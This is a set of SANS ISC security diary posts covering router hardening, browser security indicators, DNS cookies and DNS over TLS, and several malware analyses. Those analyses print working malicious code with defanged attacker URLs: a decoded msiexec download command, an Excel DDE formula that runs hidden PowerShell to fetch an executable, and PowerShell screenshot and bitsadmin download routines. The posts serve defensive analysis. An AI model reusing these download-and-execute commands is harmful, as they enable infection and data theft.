Diaries

Published: 2018-05-31

Resetting Your Router the Paranoid (=Right) Way

You probably heard the advice given earlier this week to reset your router due to some malware referred to as "VPNFilter" infecting a large number of routers. I do not want to second guess this advice, but instead, outline a couple of issues with "resetting" a router.

First of all: Pretty much all router malware (Mirai variants, TheMoon and various Linux Perl/bash scripts affecting routers) will not survive a simple power cycle of the router. However, the vulnerability that allowed access to the malware will. Secondly, some configuration changes may survive. In particular changes to DNS settings that are often done without actual malware, but by using CSRF vulnerabilities in the routers web-based admin interface.

My main problem with having thousands of users reset their routers to factory default settings is that they inadvertently may reset it to use a simple default password.

So here are some generic step-by-step instructions on what to do:

  1. Write down any important configuration changes that you made to the router. For example any changes to the default IP addresses or DNS settings. Safe any VPN connection settings that you need. In addition, backup your configuration via the router's admin interface as a backup, but we do not expect to use it (you do not want to restore any compromised settings)
  2. Download the latest and greatest firmware for your router. Even if you think you already run this particular version. Verify the firmware's integrity, which can be difficult. But maybe some vendors publish hashes. I do not think any vendor publishes PGP signatures. If you can not find a legit way to verify the integrity, then download it several times, using different networks, and different devices and compare hashes. Just for giggles: Call the manufacturers customer support number and ask for the hash. Maybe they will publish them if enough people complain. Most routers will do some integrity checking before applying the firmware but remember, we assume the router is compromised. Also, try to avoid the built-in "self-update" or "auto update" at this point.
  3. Disconnect the router from the internet (unplug the network cable).
  4. Reboot the router
  5. Reset the router to the factory default settings. It is very important that you do this while the router is disconnected from the internet. It will likely reset the router to use some simple default password. Keep the router disconnected from the Internet.
  6. Apply the latest firmware. Some routers may refuse to do that if they already have this version installed.
  7. Configure your router using the notes you took in step 1. A couple of points to consider:
    1. set a strong admin password
    2. make sure the password is required if you access the router locally.
    3. Disable all remote admin interfaces (http, telnet, ssh...) unless you really really really need them (and if you do: consider using the router as a VPN endpoint if you can)
    4. if possible, change the administrator user name
    5. change the IP address scheme. For example, instead of 192.168.1.0/24, use 10.123.21.0/24 (pick random octets). It doesn't do much, but every bit helps.
    6. If you do not like your ISPs default DNS server, then pick some of the known good public once (Google, OpenDNS, Quad9, Cloudflare ...). Maybe mix two of them by using 8.8.8.8 and 9.9.9.9 ?
  8. If you are really paranoid, then repeat the steps.
  9. If you are not so paranoid (brave?): reconnect the router to the internet.
  10. Post the firmware checksum to any support forums to help others verify their firmware (or learn that your firmware was compromised)

For a simple reset that will take care of > 99% of malware I see on routers:

  1. Reboot the router
  2. Verify that you use a strong password (even for access from your own network)
  3. Disable remote admin features
  4. Verify the DNS settings

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

3 Comments

Published: 2018-05-30

The end of the lock icon

I’m sure most of our readers (me included) have been telling users for years to always check the existence of the lock icon when entering sensitive data in a browser. This was always an easy way to check at least if data in transit is secure, provided that the user did not blindly click on Accept when a popup about an incorrect certificate appeared.

Now, we can probably debate till tomorrow about how good or bad this is – there are many, many attacks that can abuse such naïve users – Moxie’s sslstrip (https://moxie.org/software/sslstrip/) probably being the most commonly used: when hijacking HTTP traffic it will silently supply a favicon file that looks like the lock icon in order to fool users into thinking that everything is OK. And this is just one (cool) example.

Back in February, Google announced that sometime in July, with Chrome version 68, all HTTP sites will be marked as “not secure”. This is Google’s initiative to move everything to HTTPS, which is nice – since SSL/TLS certificates can be now obtained for free (see Let’s Encrypt https://letsencrypt.org/ but also be aware that also bad guys can get them for free), there is no more reason not to have your site accessible (only) via HTTPS. Indeed – if you haven’t done so already, make sure that you do this as priority.

If you want to test this feature, you can download Chrome Canary (version 69 currently - https://www.google.com/chrome/browser/canary.html) and simply open a non-HTTPS site and you will get this:

Chrome Not secure mark

About 2 weeks ago, there was a new post about Chrome’s security indicators at https://blog.chromium.org/2018/05/evolving-chromes-security-indicators.html. It seems that Google will again change security indicators, this time with Chrome 70, which is supposed to be released in September.

With this version, HTTP sites will be additionally marked with a red warning sign when a user starts entering data in a form. I like this feature.
However, I’m not sure what to think about the second change they will probably introduce: Chrome will no longer mark HTTPS sites as Secure. Google’s reasoning behind this is that the default unmarked state will be secure, and that they will show non-secure warnings to users.

This is kind of odd from a user education perspective. There are two potential issues here:

  • First, users might get confused about not seeing the lock icon and the Secure text any more. Not too big of an issue though – they are at least secure.
  • This is what I don’t like though: once users get used to everything being “secure” by default, what happens if they go to a machine with an old version of Chrome (or a different browser)? I recently did a penetration test in an enterprise that had all users running Chrome 44 – the reason being that this was the last version with NPAPI (read: Java) support. While we can discuss how bad this is, it can certainly be problematic for a user that gets used to behavior of Chrome 70 and then ends up with Chrome 44.

Google is sure aggressive with updating Chrome, but can we make sure that everything is updated? I think we all know the answer.

As always, time will tell if this was a good decision or not. 

What do you think about these changes? Good or bad? Let us know!

--
Bojan
@bojanz
INFIGO IS

1 Comments

Published: 2018-05-29

DNS is Changing. Are you Ready?

I consider DNS one of the great success stories as far as internet protocols go. I remember (for a short time) updating host files and the emergence of DNS. DNS was created for a very different type of Internet then what we have today. It assumed a more "friendly" and cooperative Internet. Without amplified DDoS attacks, MITM attacks, and spoofing. Overall, DNS has survived pretty much in its original form with a couple of relatively small additions like EDNS 0 and DNSSEC (which nobody uses).

But recently, in particular, pushed by the need for more privacy and the more bold and unregulated data trading ISPs participate in, the need has come up for more privacy. Also, the failure of DNSSEC to gain substantial traction has led other, simpler, ideas to provide most of the benefit of DNSSEC.

In this article, I want to highlight two changes that I see showing up in DNS traffic:

1 - DNS Cookies

DNS Cookies have been introduced in RFC 7873 [1]. They try to address many of the problems that DNSSEC tried to solve (like cache poisoning), and they are addressing issues like spoofed DNS amplification attacks that DNSSEC didn't prevent. In some cases, DNSSEC may have made these attacks worse. To make it a total "win": DNS cookies are much easier to implement than DNSSEC. The security afforded by DNS cookies is supposed to be similar to the security gained by using TCP instead of UDP. To successfully spoof TCP, an attacker needs to guess a 32-bit sequence number. DNSSEC is much harder to break. So DNS cookies are not as good as DNSSEC. But they may be "good enough."

So how does it work?

A client sending a DNS request will attach a cookie as an option. The cookie is a hash of client IP, server IP, and a secret. So the server will see consistent cookies from a particular client. The secret should be at least 64 Bits long. The details do not matter as long as the cookie is consistent with a specific server/client combination.

The server cookie uses the server IP address, the client cookie and again a secret that is only known to the server. The client IP is not used since it may change due to NAT. Using the client cookie instead will again lead to consistent cookies for a particular server-client combination.

A client that supports cookies will send them with all requests. This *should* not cause any problems. Unsupported options will be ignored. But some testing has shown in the past that there are non-compliant DNS servers that may reject the request as malformed. This test from a few years ago showed that 10% of name servers had problems. Not sure what this looks like right now, but the number is likely smaller.

The client will include a server cookie if it communicated with this server in the past.

Once a server receives a request with client cookie, one of several options may occur:

  1. If the server doesn't support cookies, then it will respond as usual ignoring the cookie.
  2. If the server does support cookies, and the client sent a request with only a client cookie, then the server will respond, but it may not include anything but the server cookie. Now the client may re-send the query and include the server cookie. However, servers may also send a complete response and apply different rate limits for server-cookie-less requests. Servers may also be more lenient responding to TCP requests that do not include the cookie.
  3. If the client included a server cookie, and the cookie is genuine, then the server will send a response.

For a badly formatted cookie, an error is returned (FORMERR). Requests that include an invalid server cookie are treated like requests that do not include a server cookie at all. This feature allows a client to recover if IP addresses changed, or if the server restarted and selected a new secret.

Cookies have been implemented in BIND 9.11. If you installed Ubuntu 18.04 LTS, you may have seen BIND use them. In BIND, cookies are enabled by default, but they are not enforced by default. Also, the "dig" tool now supports cookies with the +cookie option. 

Here is a quick sample packet showing the cookie option in a DNS request. I haven't found any of the large DNS providers supporting the option yet, but I haven't tested them all.

To filter for these queries, you can use the Wireshark display filter "dns.opt.code == 10". There is no great BPF expresion for it, but "tcpdump -r dns -n 'udp[18:2]>0 && udp[10]&0x80=0'" will show all queries with DNS options (some may just be the EDNS option 0).

Packet capture: DNS packets with cookies as Ubuntu 18.04 boots. 

https://isc.sans.edu/diaryimages/dnscookies.pcap

2 - DNS over TLS

The second DNS innovation I see more and more is DNS over TLS. Unlike DNS cookies, DNS over TLS attempts to solve the privacy issue in DNS. It has found more followers after Cloudflare's "1.1.1.1" DNS service started to support it. I set it up in my PFSense firewall and am including some sample packets below.

The protocol is pretty "straightforward": Setup a TCP TLS connection, then send the DNS query across this TLS tunnel. The problem is that the TLS connection takes quite a bit of overhead to establish. But it can be reused for multiple queries to limit the overhead. In real life, I find the TLS connections to last only a very short time, so the overhead is substantial as far as the number of packets exchanged goes. Also, note that the TLS endpoint will be able to inspect all your queries. Cloudflare states that they will not use the data. 

The tricky part with DNS over TLS is that it renders many enterprise systems blind that take advantage of DNS traffic. Your best bet is to block DNS over TLS (it uses port 853/TCP) and to require users use an internal recursive DNS server. You can then do all the logging you need on that DNS server, and you may even use DNS over TLS from the recursive DNS server to an entity like Cloudflare if you trust them more then you do trust your ISP. Based on my observation, DNS over TLS also doesn't use the ALPN or the SNI options in TLS, which are used by more "regular" TLS connections like HTTPS.

Packet capture: DNS over TLS sample from PFSense to Cloudflare (anonymized IPs) https://isc.sans.edu/diaryimages/dnstlsanon.pcap

[1] https://tools.ietf.org/html/rfc7873 

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter

0 Comments

Published: 2018-05-28

Do you hear Laurel or Yanny or is it On-Off Keying?

Bernd shared a white paper this morning, "Analysis of an Ultrasound-Based Physical Tracking System " by Cunche and Cardoso (https://hal.inria.fr/hal-01798091/document) which goes over how they rever engineered an ultrasound-based in-store tracking application.  They wrote an app that generates it's own ultrasonic sounds to jam such applications.  Souce code is available (alegedly, their GitLab instance was having an issue when I looked at it.)  The site does have samples of ultrasonic applications caught in the lab and in the wild (http://sonicontrol.fhstp.ac.at/) which you could use for you experiments.

I've been interested in the interaction between ultrasonic and mobile technology since I saw Jameson Rader's XT Audio Beacons (https://github.com/jamrader/XTAudioBeacons) that were used to syncrhonize a lightshow from attendee's smartphones.  Digging further into that I needed tools to detect and generate these signals.  I first went to Audacity (https://www.audacityteam.org/) because I focusing on sound generation, but if I wanted to move data via ultrasound I would need modulation and demodulation which brought me to GNU Radio (https://www.gnuradio.org/).

I wasn't the first to think of that approach. There's a demonstration using commodity laptops (https://www.anfractuosity.com/projects/ultrasound-via-a-laptop/) where he sends data very slowly at 23kHz.  They improved on the process and have nice full-duplax eample here: https://www.anfractuosity.com/projects/ultrasound-networking/

There is simple chat program that uses this technique called Quietnet (https://github.com/Katee/quietnet)

Others have raised privacy concerns about use of the technology (isn't there always?)   In "Privacy Threats through Ultrasonic Side Channels on Mobile Devices" Arp, Quiring, Wressnegger, and Rieck (http://christian.wressnegger.info/content/projects/sidechannels/2017-eurosp.pdf) they describe using SilverPush (https://www.silverpush.co/) a marketing application to track a user via embedded signals is web ads.

It's also used in Google Nearby (which uses seen wi-fi APs, and bluetooth in addition to audio beacons.)  When enabled a smartphone will generate ultrasonic signals and listen for other signals.

Now I want to head out to the maul with an audio spectrum analyzer.  The available-parking sensors, the in-store tracking, the smartphons of passers-by-- what fun. 

2 Comments

Published: 2018-05-27

Capture and Analysis of User Agents

ISC collects web logs which also includes User-Agents. If you are running a honeypot or a web server, it is fairly easy to quickly use some Regex to parse the logs and get a count of what is most commonly seen. This is some of the activity I have observed over the past week, some well know user-agent associated with valid browser versions and some custom that are telltale to hacking tools:

86 User-Agent: Mozilla/5.0
15 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7
14 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
13 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
11 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
10 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
9 User-Agent: Hello, World
8 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.302.2 Safari/532.8
6 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
3 User-Agent: Go-http-client/1.1
2 User-Agent: Mozilla/5.0 zgrab/0.xAccept: */*
2 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36
1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
1 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0
1 User-Agent: Mozilla/5.0(WindowsNT6.1;rv:31.0)Gecko/20100101Firefox/31.0
1 User-Agent: Mozilla/5.0 (Linux; Android 8.1.0; Pixel 2 Build/OPM2.171019.029.B1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.158 Mobile Safari/537.36
1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)

This is the regex I used to parse my honeypot logs:

cat tcp-honeypot-*.log | sed 's/.*\(User-Agent.*\)Content.*/\1/g' | sed 's/.*\(User-Agent.*\)\Accept.*/\1/g' | sed 's/.*\(User-Agent.*\)\Connection.*/\1/g' | sed 's/.*\(User-Agent.*\)\Host.*/\1/g' | sed 's/\\r\\n//g' | sort | uniq -c | sort -h -r > agent.txt

If you are interested in participating in this ISC project, you can follow this link which explains how to setup a honeypot to participate.

[1] https://developers.whatismybrowser.com/useragents/explore/software_name/safari/
[2] https://developers.whatismybrowser.com/useragents/explore/software_name/chrome/2
[3] https://developers.whatismybrowser.com/useragents/explore/software_name/internet-explorer/
[4] https://developers.whatismybrowser.com/useragents/explore/layout_engine_name/gecko/107
[5] https://developers.whatismybrowser.com/useragents/explore/software_name/
[6] https://github.com/zmap/zgrab
[7] https://isc.sans.edu/weblogs/
[8] https://isc.sans.edu/honeypot.html

-----------
Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

1 Comments

Published: 2018-05-27

Quick analysis of malware created with NSIS

Reader Ruben submitted a malicious executable (MD5 905a5167b248647ce31d57d241aacd63):

This PE file (analyzed here with pecheck.py) contains a section named .ndata, that's an indicator that this executable was created with the Nullsoft Scriptable Install System (NSIS).

We're taking this sample as an opportunity to show some simple methods to analyze executables created with NSIS.

7-Zip is able to extract the content of NSIS installers:

The malware contains 2 executables: patch.exe and setup.exe (and a plugin DLL).

What I did not know, but learned from this page, is that older versions of 7-Zip can decompile the NSIS setup script too. Here I'm using 7-Zip version 15.05:

Be careful with this older version of 7-Zip, it is vulnerable and exploitable (I perform this quick analysis inside a virtual machine).

Here is the decompiled script:

Of particular interest is the following code:

CLSID 0x1A used with function SHGetSpecialFolderPath gives the user's AppData folder. This setup script will create a folder 1337 inside the user's AppData folder, write patch.exe and setup.exe to this folder and launch these executables.

We can extract these executables, and just by looking at the icons, it's likely that patch.exe is a self-extracting RAR file. 7-Zip can handle these too:

setup.exe turns out to be another NSIS-created executable:

This script will install a Windows service (AdobeFlashPlayerHash):

Remark the message box at the end of the function, added to social-engineer the user into believing that there was a problem with the installation.

The Windows service executable itself (client.exe) turns out to be packed with UPX, we can see this because 7-Zip can also show/extract PE file sections:

Unpacking UPX-compressed PE files is simple (upx -d). And just by searching for strings that match a URL regex in this executable, we can find valuable IOCs:

The results of this quick static analysis can be checked via dynamic analysis:

If you prefer command-line analysis tools, or tools that can run on Linux or OSX, take a look at the NSIS decompiling page.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

0 Comments

Published: 2018-05-25

Antivirus Evasion? Easy as 1,2,3

For a while, ISC handlers have demonstrated several obfuscation techniques via our diaries. We always told you that attackers are trying to find new techniques to hide their content to not be flagged as malicious by antivirus products. Such of them are quite complex. And sometimes, we find documents that have a very low score on VT. Here is a sample that I found (SHA256: bac1a6c238c4d064f8be9835a05ad60765bcde18644c847b0c4284c404e38810). It gets a score of 6/59[1] which is not bad (from an attacker perspective). Is it a targeted attack? A new “APT” (buzzword!), not really…

The sample gets my attention because it was flagged as malicious by only 6 antivirus products and none from the top players. When you open it, you see a classic warning message:

The goal is to make the victim execute the VBS macro attached to the document. Just go to the ‘Macro’ menu and open the macro called ‘TYpZVAnvPqNdqkDfBqeG’. The macro is of course obfuscated but it’s very easy to read the code. Just garbage code has been added with never-reached condition blocks and dummy variables:

Dim RSngVushPknGEPaVHjxjeSnJFJQjylGoIAcYFPErxtqoWOecXBdAw As Boolean
If 30 = 33 Then
Dim qEzfeaMeJjeeyyDmBQreGmlbymqeoLxIFsSwdtbos As Byte
Dim MnKMKYQbpWllWqESXgrkhqylVYGgGJIpDm As Date
End If
Dim tybPoOaDypMWiCNeFMjEKWpYqlRkUfNwikwGqIs As Boolean
If 44 = 37 Then
Dim dKdrJZzpEScEvFybWICZCwpjTbQoyFHnxUFugfgzrvNRsbSqjJaxoipgUu As Byte
Dim YhJKrzLoGbzEurbDhHjXqrJZEpeJzOeZamGyqgDOGDUqqfOiWkAixwDgYjG As Date
End If

I beautified the code for easier reading:

Dim string1 As String
Dim string2 As String

# Base64 Decode Function
Function func1(arg1)
    string2 = "Msxml2." & "DOMDocument"
    Dim object1
    Dim var4
    Set object1 = CreateObject(string2)
    string1 = bin.base64
    Set var4 = object1.createElement("ipKHiUOXckoBg")
    var4.DataType = string1
    var4.Text = arg1
    func1 = var4.NodeTypedValue
End Function

Sub main()
    On Error Resume Next
    i = 0
    var1 = "WSCript.shell"
    Dim var2
    Set var2 = CreateObject(var1)
    var3 =func1("bQBzAGkAZQB4AGUAYwAuAGUAeABlACAALwBpACAAaAB0AHQAcAA6AC [...] gAC8AcQB1AGkAZQB0AA==")
    var2.Run var3, i
End Sub

The function ‘func1’ is just a Base64 decoder and the Base64 string is decoded to:

msiexec.exe /i hxxp://nunovidente[.]pt/_output6fd4680.msi /quiet

You can see that, like most Microsoft tools, msiexec.exe accepts an URL as a filename to automatically download it before the installation. From the msiexec.exe syntax help:

</package | /i> <Product.msi> : Installs or configures a product

Since I found the document, the payload has been removed. It was not available on VT (SHA256: 51b53eaa4fe6790b60bd2a88b934baa3de841462513904f9c8bd048414f6eece). The MSI file installs a malicious binary (SHA256: aa3fec1cbd6d6395c20d0ae1b42879b28bbe1b451625174d38d49e30b13ed455)[2] which communicates with hxxp://mountaintopbuilders[.]com/wp-admin/user/five/fre.php. Hopefully, this one has a better detection score.

This demonstrates that running a classic antivirus is mandatory but remains a weak protection. They can be easily evaded with simple obfuscation. If you’re interested in MSI files analysis, Didier wrote a diary on this topic[3].

[1] https://www.virustotal.com/#/file/bac1a6c238c4d064f8be9835a05ad60765bcde18644c847b0c4284c404e38810/detection
[2] https://www.virustotal.com/#/file/aa3fec1cbd6d6395c20d0ae1b42879b28bbe1b451625174d38d49e30b13ed455/detection
[3] https://isc.sans.edu/forums/diary/Analyzing+MSI+files/23355

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

0 Comments

Published: 2018-05-24

"Blocked" Does Not Mean "Forget It"

Today, organisations are facing regular waves of attacks which are targeted... or not. We deploy tons of security controls to block them as soon as possible before they successfully reach their targets. Due to the amount of daily generated information, most of the time, we don’t care for them once they have been blocked. A perfect example is blocked emails. But “blocked” does not mean that we can forget them, there is still valuable information in those data.

Tons of emails are blocked by your <name_your_best_product> solution and you’re feeling safe. Sometimes, one of them isn’t detected and is dropped in the user’s mailbox but you have an incident handling process or the user simply deletes it because he/she got a security awareness training. Everybody is happy in this wonderful world.

What if your organization was targeted and spear phishing emails were received and (hopefully) blocked? A good idea is to review those blocked emails on a daily basis and to search for interesting keywords that could indicate a specifically crafted message targeting the organization. 

Interesting keywords to search for could be:

  • Your domain names

  • Your brands

  • Terms related to your business (health, finance, government, …)

  • ...

If such messages are detected, they could be a good indicator that something weird will happen and to take appropriate actions like raising your SOC DEFCON[1] level or proactively warn users that spear phishing campaigns are ongoing.

Stay safe!

[1] https://en.wikipedia.org/wiki/DEFCON

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

3 Comments

Published: 2018-05-23

Track naughty and nice binaries with Google Santa

Santa is a binary white- or blocklisting daemon, being developed by the Google Macintosh Operations Team (largest contributor is Russel Hancox) for over 4 years now (not an official Google product!). Google Santa is being used by Google to protect and monitor their macOS machines internally, and has been called Santa because it keeps track of binaries that are naugthy or nice. 

The application has two modes, monitor and lockdown mode. Monitor mode will keep track of each binary being executed, check it for matches against the blocklist and track all information it in the events database. The events will contain information about the signing chain, the parent name, the logged_in users, filepath, bundle version, executing user, sha256 hash and some additional information of the file being executed. In lockdown mode, only whitelisted binaries are allowed to run. For both white- and blocklisting you can use either path based (using the sha256 fingerprint) or certificate based rules. 

It is important to know that two immutable certificate rules are being created on launch, of santad and launchd. This prevents Santa from blocking criticial os binaries or santa components. Also be aware that scripts are not being checked against the lists. 

Santa consists of several daemons, a small gui and a santactl that will be used to communicate with the daemons. The black- and whitelists can be controlled using santactl:

# whitelist file on path
$ santactl rule --whitelist --path "/path/to/bundle/or/file"
# whitelist file on certificate
$ santactl rule --whitelist --certificate --path  "/path/to/bundle/or/file"

Using santactl you can also retrieve information about status, file information and sync progress. 

Corporate users will love sync, which allows central management of white- and blocklists. Generated events are uploaded to the sync server, allowing statistics and data on executed and blocked binaries. There are multiple opensource sync servers that can be used to manage lists and show events.

I'm a happy Google Santa user for a few years now, it gives me insights and control of the binaries that are being executed. There is much more to be told about this application, take a look at the docs for more information.

References

  • https://github.com/google/santa
  • https://santa.readthedocs.io/en/latest/?badge=latest

0 Comments

Published: 2018-05-22

Malware Distributed via .slk Files

Attackers are always trying to find new ways to infect computers by luring not only potential victims but also security controls like anti-virus products. Do you know what SYLK files are? SYmbolic LinK files (they use the .slk extension) are Microsoft files used to exchange data between applications, specifically spreadsheets[1]. In Windows environments, there are represented with an icon similar to Excel:

Here is a sample I found (SHA256: a08c4235b6d93a463df543bd915407b56f4efd00f30497723fca54dccac580ad) with a very low VT store (2/59)[2]. Being a simple text file, it does not look suspicious:

$ file Payment_Invoice#287718.slk
Payment_Invoice#287718.slk: ASCII text, with very long lines, with CRLF line terminators, with escape sequences

Once opened, depending on your environment, Excel may ask you to update some dynamic content found in the file. Otherwise, you will be in a bad situation and Excel will update the content of the following cell:

=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c powershell.exe -w hidden -nop -ep bypass \
     -Command (new-object System.Net.WebClient).DownloadFile(''hxxps://dyvrullters[.]in/dyv/ojoh.exe'',''operaplate.exe''); \
     & start operaplate.exe'!_xlbgnm.A1

This is a common trick to make Excel execute some code.

The downloaded payload (SHA256: 17afcbb091442bb609220b6470baa5fe772f4fd4164692f446743bf58c5d024f) has hopefully a better detection score:  38/65[3].

Update: This morning, I found another one (SHA256: cabb190a05e7381e07c42e37f01c1eec8b0c5323d5c5633c61e44df90d905c9e)[4] which downloads a PowerShell payload from hxxp://tools.newsrental[.]net/jsxlhlwdg/pxxas/.

[1] https://en.wikipedia.org/wiki/SYmbolic_LinK_(SYLK)
[2] https://www.virustotal.com/#/file/a08c4235b6d93a463df543bd915407b56f4efd00f30497723fca54dccac580ad/detection
[3] https://www.virustotal.com/#/file/17afcbb091442bb609220b6470baa5fe772f4fd4164692f446743bf58c5d024f/detection
[4] https://www.virustotal.com/#/file/cabb190a05e7381e07c42e37f01c1eec8b0c5323d5c5633c61e44df90d905c9e/detection

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

1 Comments

Published: 2018-05-21

Something Wicked this way comes

The latest Mirai-based botnet is Wicked.  Unlike previous Mirai variants and sibilings, which compromised IoT devices with default credentials or brute forcing credentials, Wicked is targetting vulnerabilities contained in certain IoT devices.  

Wicked scans ports 8080, 8443, 80, and 81. Specifically it is targetting the following devices/vulnerabilities:

  • 80: Invoker Shell in compromised Web Servers 
  • 81 - CCTV-DVR 
  • 8443 - Netgear R7000 and R6400 (CVE-2016-6277)
  • 8080 - Netgear DGN1000 and DGN2200

The Invoker Shell is interesting in that it does not exploit the device, but rather takes advantage of previously compromised web servers.

After successful exploitation, it downloads what appears to be Omni Bot, the same code delivered by the attacks on the DASAN GPON home routers, providing at least some anecdotal evidence that the two are related. 

Fortinet has an excellent analysis of their research into this attempted exploitation.

Threatpost provides some more detail into the Wicked behaviour.

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

0 Comments

Published: 2018-05-20

DASAN GPON home routers exploits in-the-wild

Beginning of May, 2 vulnerabilities with exploits were released for DASAN GPON home routers: %%cve:2018-10561%% and %%cve:2018-10562%%. The first vulnerability allows unauthenticated access to the Internet facing web interface of the router, the second vulnerability allows command injection.

Soon after the disclosure, we started to observe exploit attempts on our servers:

Exploits attempt are easy to recognize: the URL contains string /GponForm/diag_FORM?images/.

We observed scans targeting just GPON devices, and scans combining GPON and Drupal exploits.

Please post a comment if you've observed these exploit attempts too.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

5 Comments

Published: 2018-05-19

Malicious Powershell Targeting UK Bank Customers

I found a very interesting sample thanks to my hunting rules… It is a PowerShell script that was uploaded on VT for the first time on the 16th of May from UK. The current VT score is still 0/59[1]. The upload location is interesting because the script targets major UK bank customers as we will see below. Some pieces of the puzzle are missing. I don’t know how the script was dropped on the target. A retro-hunt search reported a malicious PE file (SHA256:3e00ef97f017765563d61f31189a5b86e5f611031330611b834dc65623000c9e[2]) that downloads another PowerShell script from a site located on a similar URL as found in the first file (hxxps://cflfuppn[.]eu/sload/run-first.ps1). Let’s check deeper the initial script. The first comment: it is not obfuscated and very easy to read and understand. Here is a review of the actions performed.

A specific directory is created to store all the files downloaded and created. The directory name is based on the system UUID and contains other sub-directories:

(Note: the code has been beautified for easier reading)

$uuid = (Get-WmiObject Win32_ComputerSystemProduct).UUID ;
$path = $env:APPDATA+"\"+$uuid;
$pp=$path+'\'+$uuid;
try{ if([System.IO.File]::Exists($pp+"_0")){ Remove-Item $pp"_0";} }catch{}
try{ if([System.IO.File]::Exists($pp+"_1")){ Remove-Item $pp"_1";} }catch{}
try{ if([System.IO.File]::Exists($pp+"_2")){ Remove-Item $pp"_2";} }catch{}
try{ if([System.IO.File]::Exists($pp)){ Remove-Item $pp; } }catch{}

The most interesting function of the script: It has the capability to take screenshots:

[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")

function Get-ScreenCapture{
  Param(
    [Parameter()]
    [Alias("Path")]
    [string]$Directory = ".",
    [Parameter()]
    [ValidateRange(70,100)]
    [int]$Quality,
    [Parameter()]
    [Switch]$AllScreens)
  Set-StrictMode -Version 2
  Add-Type -AssemblyName System.Windows.Forms
  if ($AllScreens) {
    $Capture = [System.Windows.Forms.Screen]::AllScreens
  } else {
    $Capture = [System.Windows.Forms.Screen]::PrimaryScreen
  }
  foreach ($C in $Capture) {
    $screenCapturePathBase = $path+"\ScreenCapture"
    $cc = 0
    while (Test-Path "${screenCapturePathBase}${cc}.jpg") {
      $cc++
    }
    $FileName="${screenCapturePathBase}${cc}.jpg"    
    $Bitmap = New-Object System.Drawing.Bitmap($C.Bounds.Width, $C.Bounds.Height)
    $G = [System.Drawing.Graphics]::FromImage($Bitmap)
    $G.CopyFromScreen($C.Bounds.Location, (New-Object System.Drawing.Point(0,0)), $C.Bounds.Size)
    $g.Dispose()
    $Quality=70;
    $EncoderParam = [System.Drawing.Imaging.Encoder]::Quality
    $EncoderParamSet = New-Object System.Drawing.Imaging.EncoderParameters(1)
    $EncoderParamSet.Param[0] = New-Object System.Drawing.Imaging.EncoderParameter($EncoderParam, $Quality)
    $JPGCodec = [System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() | Where{$_.MimeType -eq 'image/jpeg'}
    $Bitmap.Save($FileName ,$JPGCodec, $EncoderParamSet)
    $FileSize = [INT]((Get-Childitem $FileName).Length / 1KB)
  }
}

Then, a list of URLs is probed to download the next payload. They use BitsAdmin to do the job in the background and wait for the completion of at least one download. 

$d = @("hxxps://cflfuppn[.]eu/sload/gate.php","hxxps://sbnlnepttqvbltm[.]eu/sload/gate.php”);
For ($i=0; $i -le $d.Length-1; $i++){
  $rp= -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
  $dm0 = "cmd.exe";
  $ldf='/C bitsadmin /transfer '+$rp+' /download /priority normal "'+$d[$i]+'?ch=1" '+$path+'\'+$uuid+'_'+$i;
  $ldg='/C bitsadmin /SetMaxDownloadTime '+$rp+' 60'
  start-process -wiNdowStylE HiDden $dm0 $ldf;
  start-process -wiNdowStylE HiDden $dm0 $ldg;
}

$e=1
while($e -eq 1) {
  $ad=2;
  For ($i=0; $i -le $d.Length-1; $i++) {        
    $pp=$path+'\'+$uuid+'_'+$i;
    if([System.IO.File]::Exists($pp)) {
      $line=Get-Content $pp
      if ($line -eq "sok"){ $did=$i; }
      $ad=1;
    }            
  }
  if ($ad -eq 1){ $e=2; }
  Start-Sleep -m 30000
}

Note the very long waiting time in the loop (30K minutes). Unfortunately, both URLs were not working during my analysis. At the end of the while() loop, $did contains the index of the URL which worked. It will be re-used later.

The next step is to generate a list of processes running on the target system (without the classic Windows system processes)

$out="";
$tt=Get-Process  | Select-Object name
